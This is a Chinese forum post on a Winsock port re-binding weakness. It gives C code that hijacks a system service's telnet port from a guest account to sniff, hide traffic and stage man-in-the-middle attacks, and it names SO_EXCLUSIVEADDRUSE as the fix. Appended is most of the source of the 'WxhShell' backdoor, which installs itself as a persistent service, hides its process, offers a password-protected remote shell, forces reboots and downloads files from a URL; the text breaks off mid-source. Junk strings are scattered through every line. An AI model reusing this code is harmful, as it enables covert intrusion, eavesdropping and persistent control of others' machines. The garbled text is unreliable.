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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: wb/@g=` d  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); h&m4"HBL_  
$o>6Io|D  
  saddr.sin_family = AF_INET; Ls(l  
udGZ%Mr_  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); qq[Enf|/y  
Ai.^~#%X  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Bz*6M  
T{mIk p<  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Cw]bhaG g  
ThJ`-Ro  
  这意味着什么?意味着可以进行如下的攻击: ^<QF* !  
Q DJe:\n  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 .[>UkM0  
>'2=3L^Q  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 7DCu#Y[  
WS1$cAD2N  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 x$/: %"E  
k{w  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  QKtVwsz +  
)SsO,E+t=U  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 #FsoK*F  
,ku3;58O<  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 A!fRpN  
/^9yncG;>  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 WTQd}f  
<<[\ Rv  
  #include -JfO} DRI  
  #include A6%~+9  
  #include 73>Hzpv0  
  #include    1n )&%r  
  DWORD WINAPI ClientThread(LPVOID lpParam);   9Ts rg  
  int main() YTYCv7  
  { e? n8S  
  WORD wVersionRequested; %][6TZ}  
  DWORD ret; t[Ywp!y[  
  WSADATA wsaData; a&s&6Q|Y  
  BOOL val; Q!v]njCIB7  
  SOCKADDR_IN saddr; Xe>   
  SOCKADDR_IN scaddr; EK<ly"S.  
  int err; NJ$c0CNy  
  SOCKET s; ?D S|vCae  
  SOCKET sc; 2kVQ#JyuRI  
  int caddsize; 6HR^q  
  HANDLE mt; 1i:Q %E F  
  DWORD tid;   1n|K   
  wVersionRequested = MAKEWORD( 2, 2 ); rWD*DmY@"  
  err = WSAStartup( wVersionRequested, &wsaData ); ^)0b= (.  
  if ( err != 0 ) { +a}>cAj*  
  printf("error!WSAStartup failed!\n"); DS6g_SS3  
  return -1; +n&9ZC H  
  } mUjM5ceAXO  
  saddr.sin_family = AF_INET; o `}(1$a>  
   Trt1M  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 >*S ;z+!&  
!=rJ~s F/{  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); x|q|> dPB  
  saddr.sin_port = htons(23); T~b6Zu6  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #CTHCwYo  
  { /eNDv(g)M  
  printf("error!socket failed!\n"); qASV\ <n  
  return -1; GMQKR,6VM  
  } M"|({+9eG  
  val = TRUE; nZ8f}R!f:  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ZIikDi h1  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) A,#a?O6m  
  { +o^sm'$  
  printf("error!setsockopt failed!\n"); {2MS,Ua{  
  return -1; 9,G94.da  
  } ?_+8K`B  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; l fJ lXD  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 BhCOT+i;c  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 X8212[7  
]d -U  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) G "`t$=0  
  { }D7} %P]  
  ret=GetLastError(); -VO* P  
  printf("error!bind failed!\n"); 9 `z^'k&  
  return -1; & 24$*Oe  
  } j]bNOC2.L  
  listen(s,2); ;Br #e1~  
  while(1) .l}oxWWoS  
  { "E}38  
  caddsize = sizeof(scaddr); l"app]uVZ  
  //接受连接请求 SQJ }$#=  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); U<jAZU[L  
  if(sc!=INVALID_SOCKET)  V4q v7  
  { &n-)Alx  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); e<1)KqG  
  if(mt==NULL) +je{%,*  
  { @]xH t&j  
  printf("Thread Creat Failed!\n"); drK &  
  break; ,R2;oF_  
  } Lc5I?}:;L  
  } [ %:%C]4  
  CloseHandle(mt); XL!^tMk  
  } rw]7Lr_>  
  closesocket(s); ;/=6~%  
  WSACleanup(); HlC[Nu^6U  
  return 0; 6UnWtLE  
  }   O(CmdSk,  
  DWORD WINAPI ClientThread(LPVOID lpParam) a?P$8NLr  
  { QDpzIjJj  
  SOCKET ss = (SOCKET)lpParam; q"|#KT^)  
  SOCKET sc; p{S#>JTr  
  unsigned char buf[4096]; k$v8cE  
  SOCKADDR_IN saddr; 6;{E-y  
  long num; AxZaV;%*  
  DWORD val; do&0m[x%  
  DWORD ret; _5&LV2  
  //如果是隐藏端口应用的话,可以在此处加一些判断 CGY,I UG  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   X w_6SR9C  
  saddr.sin_family = AF_INET; f5dctDHP  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); OXIy0].b  
  saddr.sin_port = htons(23); nHTb~t5Ke  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 0o &B 7N  
  { \>nY%*  
  printf("error!socket failed!\n"); yi@mf$A|  
  return -1; Kb,#Ot  
  } G0&'B6I>  
  val = 100; 6*tbil_G+  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) &=`6- J  
  { z)0%gd|  
  ret = GetLastError(); $mLiEsJ  
  return -1; v7@O ,%  
  } @1^:V-=  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) E!zAUEVQm[  
  { C3GI?| b  
  ret = GetLastError(); }j6<S-s~  
  return -1; gi5Ffvs$  
  } ?Y | *EH  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) C:$pAE(  
  { TB(!*t  
  printf("error!socket connect failed!\n"); VaLl$w  
  closesocket(sc); f%cbBx^;  
  closesocket(ss); #,PB(  
  return -1; $G@^!(  
  } 71inHg  
  while(1) "R9^X3;  
  { {u_2L_  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 19# A7  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 XbMAcgS  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 k}$k6Sr"  
  num = recv(ss,buf,4096,0); l5fF.A7TT  
  if(num>0) nk^-+olm  
  send(sc,buf,num,0); bdz&"\$X  
  else if(num==0) ~u+|NtF  
  break; #uHl  
  num = recv(sc,buf,4096,0); ct-;L' a  
  if(num>0) T^XU5qgN  
  send(ss,buf,num,0); 6kM'f}t[C  
  else if(num==0) Fl;!'1  
  break; K}1eQS&$a  
  } dpI9DzA;  
  closesocket(ss); bhg OLh#  
  closesocket(sc); gg}^@h&?  
  return 0 ; JHIXTy__  
  } r]'Q5l4j6"  
>HlQ+bl$xw  
`p{,C`g,R  
========================================================== [5O`  
.vJ t&@NO  
下边附上一个代码,,WXhSHELL 1ps_zn(  
dgsD~.((A  
========================================================== gdVajOAu  
9}DF*np`G  
#include "stdafx.h" baL-~`(T  
<{yQNXf[  
#include <stdio.h> VG+WVk  
#include <string.h> </B5^}  
#include <windows.h> J4;F k  
#include <winsock2.h> :\+\/HTbh  
#include <winsvc.h> )TFBb\f>v  
#include <urlmon.h> _$Hx:^p:  
t4E=  
#pragma comment (lib, "Ws2_32.lib") K9+C3"*I  
#pragma comment (lib, "urlmon.lib") <dA1n:3o  
3x{2Dhi  
#define MAX_USER   100 // 最大客户端连接数 "TgE@bC  
#define BUF_SOCK   200 // sock buffer :5M7*s)e16  
#define KEY_BUFF   255 // 输入 buffer I N'a5&..  
rtM!|apr  
#define REBOOT     0   // 重启 x3>PM]r(V  
#define SHUTDOWN   1   // 关机 _^)<d$R<  
0 w#[?.  
#define DEF_PORT   5000 // 监听端口 yHL5gz@k  
c#6g[TE@  
#define REG_LEN     16   // 注册表键长度 O7A W9*<  
#define SVC_LEN     80   // NT服务名长度 7>`VZ?  
eHjn<@  
// 从dll定义API ~<, QxFG5  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); IO\ >U(:vx  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); WhR j@y  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); oT\u^WU  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); G} &{]w@  
YIQm;E EG  
// wxhshell配置信息 ?5<Q+ G0r  
struct WSCFG { DGwN*>X  
  int ws_port;         // 监听端口 ]$>O--  
  char ws_passstr[REG_LEN]; // 口令 ]OZk+DU:  
  int ws_autoins;       // 安装标记, 1=yes 0=no !P&F6ViO=  
  char ws_regname[REG_LEN]; // 注册表键名 vNhi5EU  
  char ws_svcname[REG_LEN]; // 服务名 1px8af]  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 s=+,F<;x.U  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 K;u<-?En  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 %Hk9.1hn5  
int ws_downexe;       // 下载执行标记, 1=yes 0=no eL-9fld /n  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 65ctxxWv1  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 9aR-kcvJIJ  
9$z|kwU  
}; E,[@jxP  
na &?Cw  
// default Wxhshell configuration mOb*VH  
struct WSCFG wscfg={DEF_PORT, =Kv*M@  
    "xuhuanlingzhe", PSO9{!  
    1, ^qaS  
    "Wxhshell", `!.)"BI/s  
    "Wxhshell", )@xHL]!5m  
            "WxhShell Service", GIt~"X  
    "Wrsky Windows CmdShell Service", v: Av 2y  
    "Please Input Your Password: ", X4:\Shb97  
  1, 1jJ>(S  
  "http://www.wrsky.com/wxhshell.exe", nl)!)t=n  
  "Wxhshell.exe" XA~Cc<v  
    }; .X;zEyd  
I]"wT2@T;7  
// 消息定义模块 xm }9(EJ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; b3G4cO;t;  
char *msg_ws_prompt="\n\r? for help\n\r#>"; P,x'1 `k~  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; TX96 ^EoH  
char *msg_ws_ext="\n\rExit."; Zxm Mw  
char *msg_ws_end="\n\rQuit."; JM-spi o  
char *msg_ws_boot="\n\rReboot..."; |D %m>M6  
char *msg_ws_poff="\n\rShutdown..."; 5U&b")3IT!  
char *msg_ws_down="\n\rSave to "; BULf@8~(  
B&~#.<23:  
char *msg_ws_err="\n\rErr!"; vps</f!  
char *msg_ws_ok="\n\rOK!"; HJVi:;o  
o~#cpU4{o  
char ExeFile[MAX_PATH]; 4!pMZ<$3  
int nUser = 0; Fb&Xy{kt1  
HANDLE handles[MAX_USER]; 0j^QY6  
int OsIsNt; RKu'WD?sdH  
#V[j Q Vl  
SERVICE_STATUS       serviceStatus; @l)HX'z0d  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; L*xu<(>K  
UQ;ymTqdc  
// 函数声明 }Ut*Y*  
int Install(void); si:p98[w  
int Uninstall(void); *=Ko"v }  
int DownloadFile(char *sURL, SOCKET wsh); t$NK{Mw5_  
int Boot(int flag); u^DfRd&P0  
void HideProc(void); {9kH<,PJ;!  
int GetOsVer(void); I}djDtJ  
int Wxhshell(SOCKET wsl); +gZg7]!Z  
void TalkWithClient(void *cs); s}8(__|  
int CmdShell(SOCKET sock); RRW/.y  
int StartFromService(void); ^I=W<  
int StartWxhshell(LPSTR lpCmdLine); xbbQ)sH&m  
\J*~AT~5q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); |'$E -[  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 0E*q-$P  
q]%eLfC(  
// 数据结构和表定义 BHoy:Tp  
SERVICE_TABLE_ENTRY DispatchTable[] = ~#z8Q{!O  
{  !t.  
{wscfg.ws_svcname, NTServiceMain}, 9 7/"5i9  
{NULL, NULL} }HO3D.HE^  
}; $A GW8"  
uw!w}1Y]}2  
// 自我安装 J7Z`wjX1  
int Install(void) L5(7;  
{ RO>3U2  
  char svExeFile[MAX_PATH]; uY{zZ4iw  
  HKEY key; }BTK+Tk8  
  strcpy(svExeFile,ExeFile); 0;Lt  
,8=`Y9#  
// 如果是win9x系统,修改注册表设为自启动 /WvF}y  
if(!OsIsNt) { ['<Q402:.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1(S0hm[ov  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); N4]Sp v  
  RegCloseKey(key); ]i$ <<u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $ z4JUr!m  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #%Z 0!  
  RegCloseKey(key); ( (.b&  
  return 0; OvL@@SX |  
    } 9T`$gAI  
  } 9%+Nzo(Fd  
} vBP 5n  
else { Sn6cwf9.s  
DC9\Sp?  
// 如果是NT以上系统,安装为系统服务  fP+RuZ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 4b\R@Knu  
if (schSCManager!=0) d@sAB1:  
{ JQi+y;  
  SC_HANDLE schService = CreateService ~>&Jks_Q  
  ( 4Ss4jUj  
  schSCManager, ^("23mhfJ  
  wscfg.ws_svcname, 7T\LYDT  
  wscfg.ws_svcdisp, gu~JB  
  SERVICE_ALL_ACCESS, rM?O2n  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , :6}Zo  
  SERVICE_AUTO_START, Q9Tt3h2ga  
  SERVICE_ERROR_NORMAL, = aO1uC|6C  
  svExeFile, kn$2_I9  
  NULL, .|$:%"O&X  
  NULL, Fe r&X  
  NULL, =1kE2u  
  NULL, Hnq$d6F  
  NULL A_8UPGh8  
  ); P\jnht  
  if (schService!=0) _*K=Z,a;\  
  { fT]hpoJl  
  CloseServiceHandle(schService); Ch] `@(l  
  CloseServiceHandle(schSCManager); Z-md$=+}w  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); L1H k[j]X|  
  strcat(svExeFile,wscfg.ws_svcname); Zqo  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { o\TXW qt  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); /$EX -!ie  
  RegCloseKey(key); AVn?86ri  
  return 0; VVd9VGvh  
    } teQ <v[W.  
  } OON]E3yy  
  CloseServiceHandle(schSCManager); *KMW6dg;  
} Gy]ZYo(  
} QL].)Vgf  
(+(YQ2  
return 1; .eBo:4T!d  
} ]'.D@vFGO  
Kia34 ~W  
// 自我卸载 !t;B.[U *  
int Uninstall(void) #<$pl]>}t  
{ +.czj,Sq  
  HKEY key; *#n#J[  
Z2t'?N|_  
if(!OsIsNt) { -`f 1l8LD2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %%-?~rjI  
  RegDeleteValue(key,wscfg.ws_regname); =<BPoGs5  
  RegCloseKey(key); S9 p*rk ~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ' ?4 \  
  RegDeleteValue(key,wscfg.ws_regname); $D][_I  
  RegCloseKey(key); w\K(kNd(  
  return 0; Wr j<}L|  
  } n<)gS7  
} G5oBe6\C  
} &UFj U%Z%  
else { =q\Ghqj1  
s ahXPl%;U  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Ye=c;0V(w  
if (schSCManager!=0) ?hFG+`"W  
{ >s%&t[r6  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 6_=t~9sY  
  if (schService!=0) (kYwD  
  { J<9;Ix8R  
  if(DeleteService(schService)!=0) { ov 'g'1}  
  CloseServiceHandle(schService); >h Rq  
  CloseServiceHandle(schSCManager); GG=R!+p2  
  return 0; X/8TRiTFv  
  } 2Wx~+@1y  
  CloseServiceHandle(schService);  Qi;62M  
  } Ya*<me>`  
  CloseServiceHandle(schSCManager); -d*zgP  
} nb30<h  
} 0en Bq>vr  
_xmS$z)TO  
return 1; i-YSt5iq  
} x:? EL)(  
pba`FC4R  
// 从指定url下载文件 J$D/-*/@  
int DownloadFile(char *sURL, SOCKET wsh) _O$7*k  
{ /5wIbmz@I  
  HRESULT hr; W<c95QD.  
char seps[]= "/"; _'}Mg7,V  
char *token;  WJ&a9]&C  
char *file; 4(D1/8  
char myURL[MAX_PATH]; <*3#nA-O>i  
char myFILE[MAX_PATH]; '}, 8x?  
PKg>|]Rf.  
strcpy(myURL,sURL); PNp-/1Cx  
  token=strtok(myURL,seps); VkD}gJY  
  while(token!=NULL) Q`zW[Y&]  
  { ]kir@NMv>  
    file=token; >Tp`Kri  
  token=strtok(NULL,seps); 2[X\*"MQ2  
  } G_E \p%L>]  
"nA~/t=  
GetCurrentDirectory(MAX_PATH,myFILE); 8dUP_t~d#q  
strcat(myFILE, "\\"); ?ZAynZF|#  
strcat(myFILE, file); 4XNdsb  
  send(wsh,myFILE,strlen(myFILE),0); CQns:.`$`  
send(wsh,"...",3,0); T(z/Jm3  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ..fbRt  
  if(hr==S_OK) Vpe\Okt:  
return 0; >$:_M*5  
else :>*0./hG  
return 1; K 9tr Iy$v  
VUUE2k;^  
} o^3X5})sv  
v/GZByco>  
// 系统电源模块 iO dk)  
int Boot(int flag) M `49ydh&  
{ *3A)s O  
  HANDLE hToken; {' UK> S  
  TOKEN_PRIVILEGES tkp; 8zrLl:{  
?BnX<dbi&  
  if(OsIsNt) { s(8e)0Tl  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); '&!:5R59  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); c2Yrg@) [  
    tkp.PrivilegeCount = 1; $)Ty@@7C  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; yfZYGhPN(  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); $2>"2*,04  
if(flag==REBOOT) {  _W  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) oqa8v6yG'  
  return 0; 7srq~;j3  
} 560`R>  
else { bWg!/K55  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) R*l3 zn>  
  return 0; 1'!%$D  
} sP@7%p>wt  
  } 6FFM-9*|[  
  else { %fIYWu`X  
if(flag==REBOOT) { ` 1v Dp.  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) BV)) #D9  
  return 0; 9P&{Xhs7  
} &l~9FE *  
else { 7_~_$I~g*  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))  x-s\0l  
  return 0; 'Gqo{wl  
} 4Cp)!Bq?/  
} g v7@4G  
"]}?{2i;  
return 1; u+m9DNPF  
} 3XIL; 5  
Gg y7xb  
// win9x进程隐藏模块 5"&=BD~D  
void HideProc(void) 9cQ;h37J>  
{ '3iJq9  
2. f8uq  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); W=I~GhM  
  if ( hKernel != NULL ) Wrf+5 ;,,  
  { VK% j45D`  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); J]5ZWo%  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); OU[ FiW-E  
    FreeLibrary(hKernel); |& _(I  
  } FyqsFTh_  
P-\65]`C  
return; 3'!*/UnU  
} N6BEl55 &  
vu~7Z;y(<j  
// 获取操作系统版本 ot,=.%O  
int GetOsVer(void) nq:'jdY5|  
{ KT0Pmpp5  
  OSVERSIONINFO winfo; :KI0j%>2y  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); kZ'wXtBYe  
  GetVersionEx(&winfo); S\sy] 1*?$  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 5s:g(gy3BR  
  return 1; kd OIL2T  
  else ->'xjD  
  return 0; '[p0+5*x  
} /Zg4JQ~  
+&[X7r<  
// 客户端句柄模块 Z@i,9 a  
int Wxhshell(SOCKET wsl) km29]V=}  
{ [6CWgQ%Ue  
  SOCKET wsh; CcZM0  
  struct sockaddr_in client; @c=bH>Oz  
  DWORD myID; Yb?(Q %  
>M7(<V  
  while(nUser<MAX_USER) SN;_.46k  
{ %=)%$n3=-M  
  int nSize=sizeof(client); kudXwj  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); hR,5U=+M7  
  if(wsh==INVALID_SOCKET) return 1; ^qNZ!V4T  
,|?rt`8)Q  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _VJG@>F9-  
if(handles[nUser]==0) Hv</Xam  
  closesocket(wsh); [Uw3.CVh  
else Mo]  
  nUser++; d5'4RYfkQ  
  } !=?Q>mz  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }tbZ[:T{K  
cHon' tS  
  return 0; 6|Xm8,]yRw  
} }'4aW_ta  
~b})=7n.  
// 关闭 socket ztC>*SX  
void CloseIt(SOCKET wsh) \R,8xID_t  
{ )Pv B^n  
closesocket(wsh); w sbzGW~=  
nUser--; toel!+  
ExitThread(0); 8@]vvZ2/gj  
} 5UvqE_  
Y{<SD-ibZ$  
// 客户端请求句柄 6*s:I&  
void TalkWithClient(void *cs) CK8!7=>}^  
{ '~E=V:6  
s'$3bLcb  
  SOCKET wsh=(SOCKET)cs;  k<  
  char pwd[SVC_LEN]; ' BY|7j~  
  char cmd[KEY_BUFF]; Tua#~.3}J  
char chr[1]; }Io5&ww:U  
int i,j; eV\VR !!i  
U,V+qnS  
  while (nUser < MAX_USER) { *rmM2{6  
S'=}eeG  
if(wscfg.ws_passstr) { 7w.9PNhy  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); C /w]B[H  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *#j_nNM4  
  //ZeroMemory(pwd,KEY_BUFF); -EG=}uT['b  
      i=0; vOU9[n N[  
  while(i<SVC_LEN) { :_pn|  
MLN+ BuS  
  // 设置超时 vA*Q}]Ov  
  fd_set FdRead; WNF#eM?[a  
  struct timeval TimeOut; s ?|Hw|j  
  FD_ZERO(&FdRead); KVPWJHGr  
  FD_SET(wsh,&FdRead); 4E@_Fn_#  
  TimeOut.tv_sec=8; VVk8z6 W  
  TimeOut.tv_usec=0; 2I{kLN1TY  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); U3|9a8^H  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ^<Zye>KO  
$t.M `:G  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Zo@  
  pwd=chr[0]; yE|hA2G?0  
  if(chr[0]==0xd || chr[0]==0xa) { EU.!/'<  
  pwd=0; ~c@@m\C"b  
  break; qb +Gjgp  
  } g])iU9)8  
  i++; ,OBJ>_5  
    } .DHQJ|J-1  
cg^=F_h  
  // 如果是非法用户,关闭 socket 3+H[S#e:Z  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); @j=rS S  
} mj&$+zM>  
=a(]@8$!1  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); PBgU/zVn  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); w/@ tH  
*V{Y.`\  
while(1) { KB8_yo{y  
yo :63CPP  
  ZeroMemory(cmd,KEY_BUFF); C wwZ~2  
Z=s.`?Z  
      // 自动支持客户端 telnet标准   ]r>m{"~E  
  j=0; I.kuYD62  
  while(j<KEY_BUFF) { L4v26*P  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); t<MO~_`!  
  cmd[j]=chr[0]; !H~PF*,hY  
  if(chr[0]==0xa || chr[0]==0xd) { f*Yr*yC  
  cmd[j]=0; hZ-?-F?*@  
  break; sU"sd7#A  
  } UL`% Xx  
  j++; h}=  
    } VCa`|S?2  
YD] :3!MI  
  // 下载文件 ?%Gzd(YEY  
  if(strstr(cmd,"http://")) { uIR/^o  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); \  `|  
  if(DownloadFile(cmd,wsh)) 6`Diz_(  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); QUWx\hqE  
  else {gI%-  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $j/#IzD1D  
  } ]:~z#k|2@6  
  else { oVY_|UujG  
~{ l @  
    switch(cmd[0]) { *&~ '  
  ex8}./mjJ  
  // 帮助 *z)+'D*+  
  case '?': { R6\|:mI,$  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -V=,x3Zew  
    break; r}-vOPn`E  
  } smHQ'4x9  
  // 安装 1Sd<cOEd  
  case 'i': { pI( H7 (  
    if(Install()) - @tL]]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;OSEMgB1  
    else TbgIr  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  J9lG0  
    break; VM w[M^  
    } fwv.^k x  
  // 卸载 Gp2C wyv  
  case 'r': { NGmXF_kqN  
    if(Uninstall()) oW3Uyj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); IgPU^?sp  
    else B]:?4Ov  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7E;`1lh7  
    break; vGchKN~_  
    } >f(M5v(D\  
  // 显示 wxhshell 所在路径 q>[}JtXK  
  case 'p': { (Ji=fh+  
    char svExeFile[MAX_PATH]; SyI i*dH  
    strcpy(svExeFile,"\n\r"); Nh1, w  
      strcat(svExeFile,ExeFile); _^`TG]F  
        send(wsh,svExeFile,strlen(svExeFile),0); %!]CP1S  
    break; n,Q^M$mS0  
    } O}X@QG2_  
  // 重启 cpM]APF-  
  case 'b': { o_cAelI[!  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); xmHW,#%ui\  
    if(Boot(REBOOT)) ,soXX_Y>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /@@?0xjX  
    else { p+16*f9,^  
    closesocket(wsh); BQ(sjJ$v6F  
    ExitThread(0); M4E==  
    } HjZf3VwI  
    break; j<}y(~  
    } 8?h&FbmB  
  // 关机 I36ClOG  
